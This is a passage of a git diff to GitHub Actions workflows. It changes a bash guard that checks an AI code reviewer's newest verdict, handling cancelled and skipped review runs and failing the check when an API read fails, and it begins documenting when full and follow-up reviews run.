+# (the empty string is falsy in an expression). A guard in a group of its own is not cancelled by
+# the next guard, so when the review it watches is cancelled it looks for the review run that
+# replaced it (the cancelled arm below). An unrelated label still runs the guard rather than
+# skipping it: a job skipped by a condition reports as passing, and that report would be the
+# newest result on the head.
 concurrency:
-  group: claude-review-guard-${{ github.event.pull_request.number }}
+  group: claude-review-guard-${{ github.event.pull_request.number }}${{ (github.event.pull_request.draft || (github.event.action == 'labeled' && github.event.label.name != 're-review')) && format('-solo-{0}', github.run_id) || '' }}
   cancel-in-progress: true
 
 jobs:
   verify:
-    # The DISPLAY name is the check-run name, and the check-run name is what branch protection's
-    # required-status-checks match on — the bare job id "verify" is what reported before this line
-    # existed, which made a required context of "Claude review guard" a phantom no run could ever
-    # satisfy (#3492's first CI cycle sat green-but-BLOCKED on exactly that). The name below is the
-    # enforcement contract: change it and the required context in branch protection must move with it.
+    # The DISPLAY name is the check-run name. Anything that matches this check by name (a branch
+    # rule that lists it as a required check, a script that reads check runs) sees this string and
+    # not the job id: before this line the check reported as the bare job id "verify". Renaming it
+    # changes the name every such match has to use. Whether a branch rule requires this check is a
+    # repository setting that this file neither reads nor sets.
+    #
+    # What the check does. It FAILS when the review bot's newest verdict (its newest review that
+    # has a body) is CHANGES_REQUESTED; when the review run for this head failed, was cancelled and
+    # not replaced, or left nothing the review workflow promises; when the review step cannot be
+    # found, or the action never ran for a reason nothing explains; and when a read it needs fails.
+    # It PASSES otherwise, for example: a review that finished with a clean verdict, a review
+    # skipped on purpose or by the action while no CHANGES_REQUESTED stands, a pull request that no
+    # review run covers, and a head that a newer push has replaced.
     name: Claude review guard
+    # Skips while the pull request is a draft, as claude-review.yml does: there is no review to wait for.
+    if: github.event.pull_request.draft == false
     runs-on: ubuntu-latest
     # The review is capped at 30 minutes; leave room to observe one that uses all of it.
     timeout-minutes: 40
@@ -83,8 +136,8 @@ jobs:
           PR: ${{ github.event.pull_request.number }}
           SHA: ${{ github.event.pull_request.head.sha }}
           DEFAULT_BRANCH: ${{ github.event.repository.default_branch }}
-          # The branch this PR merges INTO -- dev for the nightly train, main only for a release PR
-          # from dev. The pending-release arm asks whose copy of $WF this branch carries, so it must
+          # The branch this PR merges INTO: dev, the one branch the trigger lists. The
+          # pending-release arm asks whose copy of $WF this branch carries, so it must
           # read the base, not the head and not the default branch (which is the other side of the
           # comparison).
           BASE: ${{ github.base_ref }}
@@ -92,6 +145,10 @@ jobs:
           # Coupling to a step NAME in the other workflow. Deliberate: the step's conclusion is the
           # only structured way to tell "no token, skipped cleanly" from "ran and said nothing".
           REVIEW_STEP: Claude review
+          # The review JOB's name (its id, since it sets no name:). A decided skip shows up here as
+          # this job concluding `skipped` while the run itself succeeded. Renaming the job in
+          # claude-review.yml blinds that arm; update this to match.
+          REVIEW_JOB: review
           # Author of every artifact the review leaves behind (the action reports bot_name).
           REVIEW_BOT: claude[bot]
           # Whether silence, or a missing verdict, is a DEFECT depends on what the review prompt
@@ -124,14 +181,16 @@ jobs:
           # because an exit inside $() only leaves the subshell -- the one shape that CANNOT work
           # here.
           #
-          # One capture, two wrappers, differing ONLY in what a failed call becomes. lookup() is the
-          # #2309 shape: a lookup failure is not a review verdict (the same rule the sentinel read at
-          # the bottom already encodes), so it names the endpoint, marks the review UNCONFIRMED, and
-          # exits 0. lookup_closed() serves the drift-origin read in the never-ran arm, where the
-          # question is no longer "did the review post" but "is this drift a merged change awaiting
-          # release, or an unreviewed edit" -- and there a lookup that dies must NOT pass, because
-          # passing IS the false verdict: a hostile drift waved through on a 503. It names the
-          # endpoint the same way and exits 1.
+          # One capture, two wrappers, differing ONLY in the message a failed call becomes. Both end
+          # the step with exit 1, because a lookup failure is not a review verdict and it is not a
+          # pass either: every read below decides the result, so a read that fails (a rate limit,
+          # a 5xx, a failed later page) fails the check, names the read, and a re-run of the guard
+          # retries it.
+          # lookup() names the endpoint and says the result depends on that read. lookup_closed()
+          # serves the drift-origin read in the never-ran arm, where the question is no longer "did
+          # the review post" but "is this drift a merged change awaiting release, or an unreviewed
+          # edit" -- and there a lookup that dies must NOT pass, because passing IS the false
+          # verdict: a hostile drift waved through on a 503. It names the endpoint the same way.
           LOOKUP_OUT=''; LOOKUP_ERR=''
           gh_capture() {
             # stderr goes to its OWN capture, never into LOOKUP_OUT: a SUCCESSFUL gh call that
@@ -153,11 +212,11 @@ jobs:
           lookup() {
             local what=$1; shift
             if ! gh_capture "$@"; then
-              echo "::warning title=Guard lookup failed::gh api (${what}) failed: ${LOOKUP_ERR:-$LOOKUP_OUT}."\
-                "A lookup failure must not become a review verdict (#2309), so the review is"\
-                "UNCONFIRMED -- read the PR's comments to confirm it by eye, or re-run this guard."
-              summary "- Guard lookup failed at ${what}; review UNCONFIRMED (#2309)."
-              exit 0
+              echo "::error title=Guard read failed::gh api (${what}) failed: ${LOOKUP_ERR:-$LOOKUP_OUT}."\
+                "The result of this check depends on that read, and a read that fails is not a"\
+                "verdict (#2309), so the check fails. Re-run this guard to retry it."
+              summary "- Guard read failed at ${what}; failing the check (#2309)."
+              exit 1
             fi
           }
           lookup_closed() {
@@ -174,63 +233,242 @@ jobs:
             fi
           }
 
+          # The obligation read: what does $WF promise, on the DEFAULT branch -- the copy the action
+          # validated and ran? Sets must_post to 1 when the sentinel is in it and to '' when it is
+          # not, and a prompt without the sentinel promises no verdict, so nothing is enforced. The
+          # read itself is not allowed to answer "no obligation" by failing: a GET that fails, or
+          # comes back empty or undecodable, fails the check, because that is not the answer "the
+          # prompt has no sentinel". The decode reads a here-string rather
+          # than a pipe, so a grep that stops at its first match cannot fail the producer.
+          read_must_post() {
+            local decoded
+            lookup "$WF on $DEFAULT_BRANCH (verdict promise)" \
+              "repos/$R/contents/$WF?ref=$DEFAULT_BRANCH" --jq '.content // empty'
+            if [ -z "$LOOKUP_OUT" ] \
+                || ! decoded=$(printf '%s' "$LOOKUP_OUT" | base64 -d 2>/dev/null); then
+              echo "::error title=Guard read failed::$WF on $DEFAULT_BRANCH came back empty or"\
+                "undecodable, so the verdict promise in its prompt cannot be read. A read that"\
+                "fails is not a verdict (#2309), so the check fails. Re-run this guard to retry it."
+              summary "- Guard read failed: $WF on $DEFAULT_BRANCH is empty or undecodable;"\
+                "failing the check (#2309)."
+              exit 1
+            fi
+            must_post=''
+            if grep -qF "$MUST_POST_SENTINEL" <<<"$decoded"; then must_post=1; fi
+          }
+
+          # The newest verdict, for a run that has no review of its own to read: a decided skip, no
+          # secret, a pull request that edits the review workflow, a workflow copy the action will
+          # not run, or a review that did not finish inside the guard window. Having no review is not
+          # a clean bill: the standing verdict still counts, newest wins, and a changes-requested
+          # one still fails the check, as it does after a review that ran. $1 says why this head
+          # has no review of its own, as a clause for the failure message ("this push got no
+          # review on purpose"); the rest say what clears it, joined with "$*" so that a message
+          # wrapped across lines is one text, not a first argument and lost ones. It ends the step
+          # either way (exit 0 or 1), like lookup(), so the caller never falls through.
+          # Same obligation read as the verdict arm below: with no sentinel on the default branch's
+          # copy there is no verdict promise to hold anything to, so nothing is enforced.
+          # Only a review WITH A BODY is a verdict. The inline-comment tool files each comment inside
+          # a review of its own with an EMPTY body, so a run that died after its comments leaves a
+          # bodiless COMMENTED review newest, and reading that as the verdict would clear a standing
+          # CHANGES_REQUESTED. Both verdict shapes carry a body, and a DISMISSED review keeps its
+          # own, so the filter drops only those carriers and a human dismissal still overrides.
+          standing_verdict() {
+            local why=$1 fix newest verdict_state verdict_url
+            shift
+            fix="$*"
+            read_must_post
+            if [ -z "$must_post" ]; then exit 0; fi
+            lookup "verdict scan (standing verdict)" "repos/$R/pulls/$PR/reviews" --paginate \
+              --jq ".[] | select(.user.login == env.REVIEW_BOT) | select(.submitted_at != null)
+                    | select(((.body // \"\") | length) > 0) | \"\(.state)\t\(.html_url)\""
+            newest=$(printf '%s\n' "$LOOKUP_OUT" | tail -n 1)
+            if [ -z "$newest" ]; then exit 0; fi
+            IFS=$'\t' read -r verdict_state verdict_url <<<"$newest"
+            summary "- standing verdict: $verdict_state -- $verdict_url"
+            if [ "$verdict_state" = "CHANGES_REQUESTED" ]; then
+              echo "::error title=Review requested changes::The newest verdict by $REVIEW_BOT on"\
+                "PR #$PR is CHANGES_REQUESTED: $verdict_url, and $why. $fix"
+              summary "### Claude review requested changes; $why"
+              summary "- $fix"
+              exit 1
+            fi
+            echo "::notice title=Review verdict clean::Newest verdict by $REVIEW_BOT is"\
+              "$verdict_state; no standing changes-requested."
+            exit 0
+          }
+
           # Wait for the review run on this exact commit. Nothing appearing inside the grace window
           # means review is not operating here at all -- no secret, or a fork PR, which the review
-          # workflow no-ops by design and which is not this guard's business.
+          # workflow no-ops by design and which is not this guard's business. Runs that a draft or
+          # an unrelated label SKIPPED are not the run to wait for and are filtered out: the newest
+          # run that is not skipped is the one whose review (or decided skip) this check judges.
           # The poll deliberately does NOT use lookup(): a transient API failure mid-poll should
-          # consume one attempt and try again, not end the guard -- `|| line=''` keeps `set -e`
-          # out of it, and an empty line is already the loop's no-run-yet case (#2309).
-          run_id=''; status=''; conclusion=''; created=''; seen=''
-          for attempt in $(seq 1 70); do
-            line=$(gh api \
-              "repos/$R/actions/workflows/claude-review.yml/runs?head_sha=$SHA&per_page=1" \
-              --jq '.workflow_runs[0] // empty
-                    | "\(.id) \(.status) \(.conclusion // "-") \(.created_at)"' \
-              2>/dev/null || true)
-            if [ -n "$line" ]; then
-              read -r run_id status conclusion created <<<"$line"
-              seen=1
-              [ "$status" = "completed" ] && break
-            # Keyed on never having seen a run, not on this poll being empty: a transient empty
-            # listing after one was found must not be read as "review is not operating here".
-            elif [ -z "$seen" ] && [ "$attempt" -ge 6 ]; then
-              echo "::notice title=No review run::No Claude Auto Review run exists for $SHA, so"\
-                "review is not operating on this PR (missing secret, or a fork). Nothing to verify."
-              exit 0
+          # consume one attempt and try again, not end the guard (#2309). What a failed listing may
+          # not do is answer "no run exists": that is concluded only from a listing that succeeded
+          # and came back empty, and when no run was ever seen and no listing from the grace point
+          # on succeeded, the check fails.
+          RUNS_URL="repos/$R/actions/workflows/claude-review.yml/runs?head_sha=$SHA&per_page=100"
+          # The newest run for $SHA that is not skipped, as "id status conclusion created_at", or
+          # nothing. $1 keeps only the runs whose id is above it (ids rise with creation order), and
+          # 0 keeps them all. A failed call returns non-zero; the caller must not read LOOKUP_OUT then.
+          newest_run() {
+            gh_capture "$RUNS_URL" \
+              --jq "[.workflow_runs[] | select(.conclusion != \"skipped\" and .id > $1)][0] // empty
+                    | \"\(.id) \(.status) \(.conclusion // \"-\") \(.created_at)\""
+          }
+          # One 35-minute budget for the whole step: a cancelled review that a newer run replaced is
+          # followed with what is left of it, so the step stays inside its own timeout.
+          run_id=''; status=''; conclusion=''; created=''; seen=''; attempt=0
+          wait_for_review() {
+            local line listed
+            while [ "$status" != "completed" ] && [ "$attempt" -lt 70 ]; do
+              attempt=$((attempt + 1))
+              line=''; listed=''
+              if newest_run 0; then listed=1; line=$LOOKUP_OUT; fi
+              if [ -n "$line" ]; then
+                read -r run_id status conclusion created <<<"$line"
+                seen=1
+                [ "$status" = "completed" ] && break
+              # Keyed on never having seen a run, not on this poll being empty: a transient empty
+              # listing after one was found must not be read as "review is not operating here".
+              elif [ -z "$seen" ] && [ -n "$listed" ] && [ "$attempt" -ge 6 ]; then
+                echo "::notice title=No review run::No Claude Auto Review run exists for $SHA, so"\
+                  "review is not operating on this PR (missing secret, or a fork). Nothing to verify."
+                exit 0
+              fi
+              sleep 30
+            done
+            if [ -z "$seen" ]; then
+              echo "::error title=Review runs unreadable::This guard could not list the Claude Auto"\
+                "Review runs for $SHA (${LOOKUP_ERR:-no listing returned}), so it cannot tell whether"\
+                "a review is running. A read that fails is not an answer, so the check fails. Re-run"\
+                "this guard."
+              summary "- The review-run listing for $SHA failed on every poll; failing the check."
+              exit 1
             fi
-            sleep 30
-          done
+          }
 
-          if [ "$status" != "completed" ]; then
-            echo "::warning title=Review did not finish::Gave up waiting on review run $run_id for"\
-              "PR #$PR after 35 minutes. Its own 30-minute timeout will mark it; this PR is NOT"\
-              "Claude-reviewed."
-            summary '### Claude review did not finish inside the guard window'
-            exit 0
-          fi
+          while :; do
+            wait_for_review
+
+            # Out of budget with the run still going: the guard stops waiting, and reads the standing
+            # verdict before it passes. The run's own 30-minute timeout marks it, and a standing
+            # CHANGES_REQUESTED still fails this check.
+            if [ "$status" != "completed" ]; then
+              echo "::warning title=Review did not finish::Gave up waiting on review run $run_id for"\
+                "PR #$PR after 35 minutes. Its own 30-minute timeout will mark it; this PR is NOT"\
+                "Claude-reviewed."
+              summary '### Claude review did not finish inside the guard window'
+              standing_verdict "review run $run_id did not finish inside the guard window" \
+                "Re-run this check once that run has finished (its fresh verdict replaces this one)," \
+                "or dismiss the review if the findings are wrong."
+            fi
 
-          if [ "$conclusion" = "cancelled" ] || [ "$conclusion" = "skipped" ]; then
+            [ "$conclusion" = "cancelled" ] || break
+
+            # A cancelled review run did not review this head unless something replaced it. Once
+            # only a newer push could cancel a review, and that push's own check judged the new head,
+            # so "cancelled" meant "nothing to verify". Now the review job joins its concurrency group
+            # after the decide job, so an older run's review can cancel a newer one, and a manual
+            # cancel does the same: the review meant to cover $SHA never finished, and passing here
+            # would let the pull request through with no review of it. So ask where the head is now.
+            # A different head: a newer push owns the review and its own check judges it. Still $SHA:
+            # ask which review run covers it now. A guard started by an unrelated label sits in a
+            # concurrency group of its own, so no newer guard cancels it while another review run for
+            # the same head replaces the one it watches, and it would fail on the cancelled run until
+            # the replacement's guard finished. So list the runs for $SHA again: a newer run (a higher
+            # id) that was not skipped is the one to judge, and the loop goes back to wait on it with
+            # what is left of the bound. None, or a listing that fails, and nothing replaced the
+            # cancelled review: the check fails. A read that fails (or returns no head) is neither
+            # answer, so it fails CLOSED, as the drift-origin lookups do -- through gh_capture
+            # directly, because lookup()'s message is not about the head or the runs and
+            # lookup_closed() words its error for the drift arm.
+            if ! gh_capture "repos/$R/pulls/$PR" --jq '.head.sha // empty' || [ -z "$LOOKUP_OUT" ]; then
+              echo "::error title=Review cancelled, head unknown::Review run $run_id was cancelled, and"\
+                "this guard could not read the head of PR #$PR to tell whether a newer push replaced"\
+                "it (${LOOKUP_ERR:-no head returned}). A cancelled review is not a pass, so this check"\
+                "fails closed. Re-run this guard."
+              summary "- Review run $run_id was cancelled and the head of PR #$PR could not be read."\
+                "Failing closed."
+              exit 1
+            fi
+            current_head=$LOOKUP_OUT
+            if [ "$current_head" != "$SHA" ]; then
+              echo "::notice title=Review cancelled::run $run_id was cancelled, and the head of PR #$PR"\
+                "has moved on to ${current_head:0:12}; that push's own check judges it."
+              summary "- Review run $run_id was cancelled; the head moved on to ${current_head:0:12},"\
+                "whose own check judges it."
+              exit 0
+            fi
+            cancelled_run=$run_id
+            if ! newest_run "$cancelled_run"; then
+              echo "::error title=Review cancelled, replacement unknown::Review run $cancelled_run was"\
+                "cancelled, and this guard could not list the review runs for $SHA to tell whether a"\
+                "newer run replaced it (${LOOKUP_ERR:-$LOOKUP_OUT}). A cancelled review is not a pass,"\
+                "so this check fails closed. Re-run this guard."
+              summary "- Review run $cancelled_run was cancelled and the review runs for $SHA could not"\
+                "be listed. Failing closed."
+              exit 1
+            fi
+            if [ -z "$LOOKUP_OUT" ]; then
+              echo "::error title=Review cancelled::The review of this head ($SHA, run $cancelled_run) was"\
+                "cancelled and nothing replaced it, so PR #$PR has no review of its current commit."\
+                "Re-run the Claude Auto Review run, then re-run this check."
+              summary '### Claude review was cancelled; this head has no review'
+              summary '- Re-run the Claude Auto Review run, then re-run this check.'
+              exit 1
+            fi
+            read -r run_id status conclusion created <<<"$LOOKUP_OUT"
+            echo "::notice title=Review cancelled, replaced::Review run $cancelled_run for $SHA was"\
+              "cancelled, and run $run_id was created after it, so this check judges run $run_id."
+            summary "- Review run $cancelled_run was cancelled; run $run_id replaced it and is judged"\
+              "instead."
+          done
+          if [ "$conclusion" = "skipped" ]; then
             echo "::notice title=Review $conclusion::run $run_id was $conclusion; nothing to verify."
             exit 0
           fi
 
-          # The step's own conclusion, which separates a clean no-op from a real run.
+          # The step's own conclusion, which separates a clean no-op from a real run. This read and
+          # the review-job read below take ONE item with `.[0]`, and --paginate would apply that once
+          # per page of the jobs list. It is safe here: a run of the review workflow has two jobs
+          # (decide and review), so the list is one page, and the step and the job named each
+          # appear in it once.
           lookup "review-run jobs (step conclusion)" "repos/$R/actions/runs/$run_id/jobs" --paginate \
-            --jq '[.jobs[].steps[] | select(.name == env.REVIEW_STEP)] | .[0].conclusion // empty'
+            --jq '[.jobs[].steps[]? | select(.name == env.REVIEW_STEP)] | .[0].conclusion // empty'
           step=$LOOKUP_OUT
 
           if [ -z "$step" ]; then
+            # A SKIPPED review job has no steps. That is a decided skip (a push after the follow-up,
+            # or no secret) only when the run itself succeeded, which means the decide job did too:
+            # a decide job that failed skips the review job as well, and must not pass as a skip.
+            lookup "review-run jobs (review job conclusion)" "repos/$R/actions/runs/$run_id/jobs" --paginate \
+              --jq '[.jobs[] | select(.name == env.REVIEW_JOB)] | .[0].conclusion // empty'
+            if [ "$LOOKUP_OUT" = "skipped" ] && [ "$conclusion" = "success" ]; then
+              echo "::notice title=Review skipped on purpose::The '$REVIEW_JOB' job of run $run_id was"\
+                "skipped by the decide job (a push after the follow-up, or no CLAUDE_CODE_OAUTH_TOKEN"\
+                "or a fork PR). This push has no review to verify; the standing verdict is checked."
+              summary '- Review skipped on purpose (decide job succeeded, review job skipped).'
+              standing_verdict "this push got no review on purpose (one follow-up per full review)" \
+                "Add the re-review label to get a fresh full review (its verdict replaces this one)," \
+                "or dismiss the review if the findings are wrong."
+            fi
             echo "::error title=Guard cannot find the review step::No step named"\
-              "'$REVIEW_STEP' in run $run_id. This guard reads that step to verify the review, so"\
-              "renaming it in $WF blinds the guard -- update REVIEW_STEP here to match."
+              "'$REVIEW_STEP' in run $run_id, and the run did not skip its review job on purpose"\
+              "(run conclusion: $conclusion). This guard reads that step to verify the review, so"\
+              "renaming it in $WF blinds the guard -- update REVIEW_STEP here to match. A run that"\
+              "ended '$conclusion' with the review job skipped means the decide job failed: read it."
             summary "### Guard is blind: no step named \`$REVIEW_STEP\` in the review run"
             exit 1
           fi
 
           if [ "$step" = "skipped" ]; then
             echo "::notice title=Review skipped cleanly::The '$REVIEW_STEP' step was skipped"\
-              "(no CLAUDE_CODE_OAUTH_TOKEN, or a fork PR). Nothing to verify."
-            exit 0
+              "(no CLAUDE_CODE_OAUTH_TOKEN, or a fork PR). Nothing to verify, beyond the standing verdict."
+            standing_verdict "the review step was skipped (no CLAUDE_CODE_OAUTH_TOKEN, or a fork PR)" \
+              "No new review can replace it while the step is skipped, so handle the findings and" \
+              "dismiss the review."
           fi
 
           # Did the action invoke Claude at all? Its workflow-validation skip reaches the outside
@@ -238,11 +476,13 @@ jobs:
           # but that output is not declared in the composite action's outputs block, and it returns
           # before execution_file and conclusion are ever set. Actions job ids double as check-run
           # ids, which is what makes the annotation readable from a different workflow.
+          # A job whose annotations cannot be read is not a job that has none: a read that fails
+          # fails the check, because "the action never ran" turns on exactly this scan.
           never_ran=''
           lookup "review-run jobs (annotation scan)" "repos/$R/actions/runs/$run_id/jobs" --paginate --jq '.jobs[].id'
           for job in $LOOKUP_OUT; do
-            if gh api "repos/$R/check-runs/$job/annotations" --jq '.[].message' 2>/dev/null \
-                 | grep -qF 'Skipping action due to workflow validation'; then
+            lookup "annotations of job $job" "repos/$R/check-runs/$job/annotations" --jq '.[].message'
+            if grep -qF 'Skipping action due to workflow validation' <<<"$LOOKUP_OUT"; then
               never_ran=1
               break
             fi
@@ -260,7 +500,9 @@ jobs:
                 "which claude-code-action refuses to run until it matches $DEFAULT_BRANCH. This PR"\
                 "is NOT Claude-reviewed and cannot be until it merges -- a human must review it."
               summary "- Expected: this PR edits \`$WF\`, so a human must review it."
-              exit 0
+              standing_verdict "this PR changes $WF, so this head cannot be reviewed until it merges" \
+                "No new review can replace it before then, so handle the findings and dismiss the" \
+                "review."
             fi
 
             # THE PENDING-RELEASE ARM. Nothing in this PR explains the skip, so the copy of $WF that
@@ -283,7 +525,8 @@ jobs:
             # blob of $WF is the blob at its merge commit -- so the branch carries exactly what that
             # merge produced and nothing after it. Blob shas compare content (git's are
             # content-addressed), so no decode is needed. All three hold: pending release, a
-            # warning, exit 0 -- still NOT reviewed, still a human's job, the same as the arm above.
+            # warning, then the standing verdict -- still NOT reviewed, still a human's job, the
+            # same as the arm above, and a CHANGES_REQUESTED that stands still fails the check.
             # Any fails, or no PR claims the commit: the hostile error below, unchanged. Every read
             # goes through lookup_closed(): a lookup that dies here fails the check with its own
             # message, because an unresolved drift must not pass on a 503.
@@ -331,7 +574,9 @@ jobs:
                   summary "- Pending release: \`$WF\` on \`$BASE\` is what merged PR #$origin_pr"\
                     "produced, and \`$DEFAULT_BRANCH\` has not synced. Reviews resume at the next"\
                     "release; a human must review this PR."
-                  exit 0
+                  standing_verdict "$WF on $BASE is awaiting release, so this head cannot be reviewed" \
+                    "No new review can replace it before the release, so handle the findings and" \
+                    "dismiss the review."
                 fi
                 summary "- \`$WF\` on \`$BASE\` was last touched by \`${drift_commit:0:12}\` (PR"\
                   "#$origin_pr), but that PR's diff and merge blob do not account for the branch's"\
@@ -370,16 +615,24 @@ jobs:
           # ever renamed this reports a false "posted nothing" -- loud and wrong, which is the safer
           # direction for a guard to fail.
           mine='select(.user.login == env.REVIEW_BOT)'
+          # --paginate runs each --jq once PER PAGE, so a tally that ends in `length` prints one
+          # count per page: one number for a list of 30 items or fewer, several for a longer one.
+          # Every user's items count toward a page, and the inline-comment tool files one review
+          # per comment, so a long pull request does reach a second page. The count over every page
+          # is the SUM of those numbers, and sum_pages() adds them; the bare output would make the
+          # arithmetic below a syntax error. A one-page list sums to its own count, and a page that
+          # fails to read still fails the check in lookup(), before any sum.
+          sum_pages() { printf '%s\n' "$1" | awk '{ s += $1 } END { print s + 0 }'; }
           lookup "issue-comment tally" "repos/$R/issues/$PR/comments" --paginate \
             --jq "[.[] | $mine | select(.created_at > \"$created\")] | length"
-          issue=$LOOKUP_OUT
+          issue=$(sum_pages "$LOOKUP_OUT")
           lookup "inline-comment tally" "repos/$R/pulls/$PR/comments" --paginate \
             --jq "[.[] | $mine | select(.created_at > \"$created\")] | length"
-          inline=$LOOKUP_OUT
+          inline=$(sum_pages "$LOOKUP_OUT")
           lookup "review tally" "repos/$R/pulls/$PR/reviews" --paginate \
             --jq "[.[] | $mine | select(.submitted_at != null
                                         and .submitted_at > \"$created\")] | length"
-          reviews=$LOOKUP_OUT
+          reviews=$(sum_pages "$LOOKUP_OUT")
           total=$(( issue + inline + reviews ))
           echo "posted by $REVIEW_BOT since $created -- issue: $issue, inline: $inline,"\
             "reviews: $reviews"
@@ -389,17 +642,11 @@ jobs:
           summary "- reviews: $reviews"
 
           # The obligation read, feeding BOTH arms below: what does $WF promise, on the DEFAULT
-          # branch -- the copy the action validated and ran? A missing file or an unreadable one
-          # reads as "no obligation", the same as a prompt without the sentinel: a lookup failure
-          # must not become a review verdict.
-          # The trailing `|| true` is load-bearing under `set -euo pipefail`: without it a 404 on
-          # $WF, or a payload base64 cannot decode, fails the PIPELINE and kills this step -- turning
-          # a lookup failure into exactly the hard guard failure the comment above forbids. Verified
-          # against all four inputs: sentinel present, sentinel absent, empty, undecodable.
-          encoded=$(gh api "repos/$R/contents/$WF?ref=$DEFAULT_BRANCH" --jq '.content' 2>/dev/null \
-            || true)
-          must_post=$(printf '%s' "$encoded" | base64 -d 2>/dev/null \
-            | { grep -qF "$MUST_POST_SENTINEL" && echo 1 || true; } || true)
+          # branch -- the copy the action validated and ran? Only a prompt without the sentinel reads
+          # as "no obligation". A read of $WF that fails, or comes back empty or undecodable, is not
+          # that answer: read_must_post fails the check with a message naming the read, because a
+          # lookup failure is not a review verdict and must not stand the verdict arm down either.
+          read_must_post
 
           if [ "$total" -ne 0 ]; then
             # The VERDICT ARM. Posting was never the whole story: the #3470-#3473 train shipped six
@@ -425,23 +672,30 @@ jobs:
             # that is the manual override. --approve is no part of the protocol (the review token
             # cannot approve without an org toggle this repo does not enable) and none is needed:
             # a clean COMMENTED verdict clears the gate just as well.
+            # Only a review WITH A BODY is a verdict. The inline-comment tool files each comment
+            # inside a review of its own with an EMPTY body, so a run that dies after its comments
+            # leaves a bodiless COMMENTED review newest, and the scan would read it as a clean
+            # verdict over a standing CHANGES_REQUESTED. The body test is the one claude-review.yml's
+            # decide step and verdict check apply. A DISMISSED review keeps its body, so the manual
+            # override above still works.
             # The API returns reviews oldest-first (documented: chronological order), and --paginate
             # runs the --jq once PER PAGE -- a max_by here would be per-page, not global -- so the
             # newest is the last LINE of the emitted stream, which pagination cannot break.
             lookup "verdict scan (bot reviews)" "repos/$R/pulls/$PR/reviews" --paginate \
-              --jq ".[] | $mine | select(.submitted_at != null) | \"\(.state)\t\(.html_url)\""
+              --jq ".[] | $mine | select(.submitted_at != null)
+                    | select(((.body // \"\") | length) > 0) | \"\(.state)\t\(.html_url)\""
             newest=$(printf '%s\n' "$LOOKUP_OUT" | tail -n 1)
 
             if [ -z "$newest" ]; then
-              # Comments landed but no formal review ever did, and the prompt promises one every
-              # run. The same broken-promise class as "posted nothing" below -- and worse, it is
-              # exactly the pre-verdict failure shape: findings living only in comments, which is
-              # the thing auto-merge outruns.
+              # Comments landed but no verdict review (one with a body) ever did, and the prompt
+              # promises one every run. The same broken-promise class as "posted nothing" below --
+              # and worse, it is exactly the pre-verdict failure shape: findings living only in
+              # comments, which is the thing auto-merge outruns.
               echo "::error title=Review posted no verdict::Review run $run_id posted comments, but"\
-                "$REVIEW_BOT has never submitted a formal review on PR #$PR, and $WF promises one"\
-                "verdict review per run. Findings that live only in comments are what auto-merge"\
-                "outruns (#3470), so do NOT read this PR as verdict-clean. Re-run the review"\
-                "workflow, then re-run this guard."
+                "$REVIEW_BOT has never submitted a verdict review (a review with a body) on PR"\
+                "#$PR, and $WF promises one verdict review per run. Findings that live only in"\
+                "comments are what auto-merge outruns (#3470), so do NOT read this PR as"\
+                "verdict-clean. Re-run the review workflow, then re-run this guard."
               summary '### Claude review posted comments but no verdict review'
               summary '- The prompt promises a verdict every run; none exists. Re-run the review.'
               exit 1
@@ -453,10 +707,11 @@ jobs:
             if [ "$verdict_state" = "CHANGES_REQUESTED" ]; then
               echo "::error title=Review requested changes::The newest verdict by $REVIEW_BOT on"\
                 "PR #$PR is CHANGES_REQUESTED: $verdict_url. A substantive finding is a failed"\
-                "check now, not a comment auto-merge can outrun. Address the findings and push --"\
-                "the re-review reads the new diff and submits a fresh verdict, and"\
-                "newest-verdict-wins clears this gate by itself -- or, if the findings are wrong,"\
-                "a human dismisses the review and DISMISSED reads as cleared."
+                "check now, not only a comment. Address the findings and push --"\
+                "a follow-up reads the new commits and submits a fresh verdict, and"\
+                "newest-verdict-wins clears this check by itself. After a follow-up a push gets no"\
+                "review: add the re-review label for a fresh full review. Or, if the findings are"\
+                "wrong, a human dismisses the review and DISMISSED reads as cleared."
               summary '### Claude review requested changes'
               summary "- $verdict_url"
               summary '- Address the findings and push (the fresh verdict clears this), or dismiss'\
diff --git a/.github/workflows/claude-review.yml b/.github/workflows/claude-review.yml
index 46d917b62e..46b866682b 100644
--- a/.github/workflows/claude-review.yml
+++ b/.github/workflows/claude-review.yml
@@ -1,16 +1,66 @@
 name: Claude Auto Review
 
-# Reviews every pull request into dev or main when it is opened or updated. The review posts
+# Reviews a pull request into dev, the one branch under `on:` below, but spends a full review only
+# where one pays. A release pull request from dev into main gets no second review: its changes came
+# into dev as pull requests, and those are where review happens. WHAT RUNS depends on the event, and
+# the `decide` job makes that call once:
+#   - opened, reopened, ready_for_review: a FULL review, at the tier described further down.
+#   - a push (synchronize): at most ONE follow-up review after each full one. It runs on Sonnet
+#     with 30 turns and covers only the commits since the commit the newest verdict reviewed. That
+#     commit is compared with the pushed head FIRST, whatever kind the verdict is: only a head
+#     that is ahead of it is skipped or given a follow-up (a follow-up after a full review, no
+#     review after a follow-up). Everything else gets a FULL review: a push with no verdict yet
+#     (the full review was cancelled or never ran), one whose reviewed commit is no longer an
+#     ancestor of the head (a force-push), a re-run on the head the verdict already covers, a
+#     verdict whose marker head does not fit its commit (below), and any read that fails. A
+#     verdict with no `review-pass` line counts as full, so the push after it gets a follow-up.
+#     Two more reads can change a push's answer. (1) A push that would get no review, because the
+#     newest verdict is already a follow-up, gets a FULL one when another run of this workflow for
+#     the pull request has not finished. After a follow-up only a full trigger (ready for review,
+#     reopened, the label) starts a review, so that run may be a full review of an older head,
+#     and its verdict would land with no later check to read it; this push's full review replaces
+#     it through the concurrency group of the `review` job. A second push seconds after another
+#     sees the first push's run unfinished and gets the full review as well; that cost is
+#     accepted. (2) The step's last read: a push whose head is no longer the pull request's head
+#     gets no review. A newer push replaced it and that push's run decides, and a review job from
+#     this run could join the group after the newer one and cancel it. The other events skip that
+#     read, because the review they asked for would be lost when the newer push answers with no
+#     review.
+#   - the `re-review` label: a FULL review on request. The review removes the label when it is
+#     done. A push while the label is still on the pull request is also a full review, so a
+#     request that a push cancelled is not lost and the label cannot get stuck.
+#   - a draft, or any other label: no review, and no runner starts.
+# Measured on 2026-10-02: a full-tier review (Opus, 120 turns) cost a median $7.53 and took 18
+# minutes, a light-tier one about $0.64, and every push to every pull request, drafts included,
+# started a full one. Rounds after the first found mostly comment accuracy, so the later pushes
+# now get the cheap follow-up. Each review marks its kind and the head it reviewed in its body
+# with a hidden `<!-- review-pass: full head=<sha> -->` or `<!-- review-pass: follow-up
+# head=<sha> -->` line, which is what the next push reads. The head is the pull request's head
+# when the run started. GitHub stamps a review with the head at the moment it is SUBMITTED (`gh pr
